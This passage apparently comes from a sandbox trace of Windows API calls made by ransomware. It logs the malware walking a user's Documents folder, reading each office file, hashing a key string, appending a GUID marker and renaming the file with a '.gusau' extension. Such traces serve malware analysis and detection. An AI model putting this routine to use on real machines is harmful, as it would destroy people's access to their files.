(hObject=0x610) returned 1 [0117.123] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Eiz2OkszASes0dl.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eiz2okszases0dl.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Eiz2OkszASes0dl.ods.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eiz2okszases0dl.ods.gusau")) returned 1 [0117.124] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0eec300, ftCreationTime.dwHighDateTime=0x1d4cca0, ftLastAccessTime.dwLowDateTime=0x33b08a50, ftLastAccessTime.dwHighDateTime=0x1d4cbf9, ftLastWriteTime.dwLowDateTime=0x33b08a50, ftLastWriteTime.dwHighDateTime=0x1d4cbf9, nFileSizeHigh=0x0, nFileSizeLow=0x5727, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G5QwtEl2iSslGa.ots", cAlternateFileName="G5QWTE~1.OTS")) returned 1 [0117.124] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G5QwtEl2iSslGa.ots") returned=".ots" [0117.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G5QwtEl2iSslGa.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g5qwtel2isslga.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.125] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=22311) returned 1 [0117.125] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.126] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5701, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.126] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.128] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5727, lpOverlapped=0x0) returned 1 [0117.128] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.128] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.128] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.128] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.129] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.129] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.129] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.129] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.129] GetLastError () returned 0x0 [0117.129] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.129] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.130] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5727, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.130] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.130] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.130] CloseHandle (hObject=0x610) returned 1 [0117.131] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G5QwtEl2iSslGa.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g5qwtel2isslga.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G5QwtEl2iSslGa.ots.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g5qwtel2isslga.ots.gusau")) returned 1 [0117.132] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8124fb0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0xdd91df70, ftLastAccessTime.dwHighDateTime=0x1d4d558, ftLastWriteTime.dwLowDateTime=0xdd91df70, ftLastWriteTime.dwHighDateTime=0x1d4d558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gck8eKrR", cAlternateFileName="")) returned 1 [0117.132] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85543f40, ftCreationTime.dwHighDateTime=0x1d4d24e, ftLastAccessTime.dwLowDateTime=0xb75f70e0, ftLastAccessTime.dwHighDateTime=0x1d4cf47, ftLastWriteTime.dwLowDateTime=0xb75f70e0, ftLastWriteTime.dwHighDateTime=0x1d4cf47, nFileSizeHigh=0x0, nFileSizeLow=0xb885, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ixHgNpSkmetkMwk0N.doc", cAlternateFileName="IXHGNP~1.DOC")) returned 1 [0117.132] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ixHgNpSkmetkMwk0N.doc") returned=".doc" [0117.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ixHgNpSkmetkMwk0N.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ixhgnpskmetkmwk0n.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.133] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=47237) returned 1 [0117.133] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.134] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb85f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.134] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.135] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xb885, lpOverlapped=0x0) returned 1 [0117.136] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.136] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.136] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.136] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.137] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.137] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.137] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.137] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.137] GetLastError () returned 0x0 [0117.137] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.137] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.138] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb885, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.138] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.138] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.138] CloseHandle (hObject=0x610) returned 1 [0117.139] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ixHgNpSkmetkMwk0N.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ixhgnpskmetkmwk0n.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ixHgNpSkmetkMwk0N.doc.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ixhgnpskmetkmwk0n.doc.gusau")) returned 1 [0117.147] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa49aad0, ftCreationTime.dwHighDateTime=0x1d4d50d, ftLastAccessTime.dwLowDateTime=0x7ba87ac0, ftLastAccessTime.dwHighDateTime=0x1d4d315, ftLastWriteTime.dwLowDateTime=0x7ba87ac0, ftLastWriteTime.dwHighDateTime=0x1d4d315, nFileSizeHigh=0x0, nFileSizeLow=0x1760d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jLUC 3.docx", cAlternateFileName="JLUC3~1.DOC")) returned 1 [0117.147] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLUC 3.docx") returned=".docx" [0117.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLUC 3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jluc 3.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.149] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=95757) returned 1 [0117.149] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.151] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x175e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.151] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.154] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1760d, lpOverlapped=0x0) returned 1 [0117.156] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.156] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.156] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.156] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.158] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.158] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.158] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.158] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.158] GetLastError () returned 0x0 [0117.158] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.158] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.160] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1760d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.160] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.160] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.160] CloseHandle (hObject=0x610) returned 1 [0117.161] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLUC 3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jluc 3.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jLUC 3.docx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jluc 3.docx.gusau")) returned 1 [0117.163] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c300b0, ftCreationTime.dwHighDateTime=0x1d4e247, ftLastAccessTime.dwLowDateTime=0xb73ebe80, ftLastAccessTime.dwHighDateTime=0x1d5141c, ftLastWriteTime.dwLowDateTime=0xb73ebe80, ftLastWriteTime.dwHighDateTime=0x1d5141c, nFileSizeHigh=0x0, nFileSizeLow=0xf2a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mMGsDdpRxCcIwjb.pptx", cAlternateFileName="MMGSDD~1.PPT")) returned 1 [0117.163] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mMGsDdpRxCcIwjb.pptx") returned=".pptx" [0117.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mMGsDdpRxCcIwjb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mmgsddprxcciwjb.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.164] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=62114) returned 1 [0117.164] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.166] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf27c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.166] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.167] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf2a2, lpOverlapped=0x0) returned 1 [0117.168] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.168] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.168] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.168] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.169] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.169] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.169] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.169] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.169] GetLastError () returned 0x0 [0117.169] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.169] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.170] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf2a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.170] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.170] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.170] CloseHandle (hObject=0x610) returned 1 [0117.171] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mMGsDdpRxCcIwjb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mmgsddprxcciwjb.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mMGsDdpRxCcIwjb.pptx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mmgsddprxcciwjb.pptx.gusau")) returned 1 [0117.172] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6021f7d0, ftCreationTime.dwHighDateTime=0x1d4ef09, ftLastAccessTime.dwLowDateTime=0xcfc64240, ftLastAccessTime.dwHighDateTime=0x1d4fecb, ftLastWriteTime.dwLowDateTime=0xcfc64240, ftLastWriteTime.dwHighDateTime=0x1d4fecb, nFileSizeHigh=0x0, nFileSizeLow=0x3738, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mXYQzNZWY3_pbSh7dVoS.xlsx", cAlternateFileName="MXYQZN~1.XLS")) returned 1 [0117.172] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mXYQzNZWY3_pbSh7dVoS.xlsx") returned=".xlsx" [0117.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mXYQzNZWY3_pbSh7dVoS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mxyqznzwy3_pbsh7dvos.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.173] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=14136) returned 1 [0117.173] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.175] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3712, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.175] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.176] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x3738, lpOverlapped=0x0) returned 1 [0117.177] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.177] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.177] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.177] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.178] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.178] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.178] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.178] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.178] GetLastError () returned 0x0 [0117.178] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.178] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.178] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3738, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.178] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.178] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.179] CloseHandle (hObject=0x610) returned 1 [0117.179] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mXYQzNZWY3_pbSh7dVoS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mxyqznzwy3_pbsh7dvos.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mXYQzNZWY3_pbSh7dVoS.xlsx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mxyqznzwy3_pbsh7dvos.xlsx.gusau")) returned 1 [0117.180] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0117.180] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0117.180] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0117.181] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0117.181] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0117.181] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e68af10, ftCreationTime.dwHighDateTime=0x1d4c588, ftLastAccessTime.dwLowDateTime=0xb7c5da60, ftLastAccessTime.dwHighDateTime=0x1d4e08b, ftLastWriteTime.dwLowDateTime=0xb7c5da60, ftLastWriteTime.dwHighDateTime=0x1d4e08b, nFileSizeHigh=0x0, nFileSizeLow=0xd5fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rOeN9J2zJO_02nt1ly.docx", cAlternateFileName="ROEN9J~1.DOC")) returned 1 [0117.181] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rOeN9J2zJO_02nt1ly.docx") returned=".docx" [0117.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rOeN9J2zJO_02nt1ly.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\roen9j2zjo_02nt1ly.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.181] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=54781) returned 1 [0117.181] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, 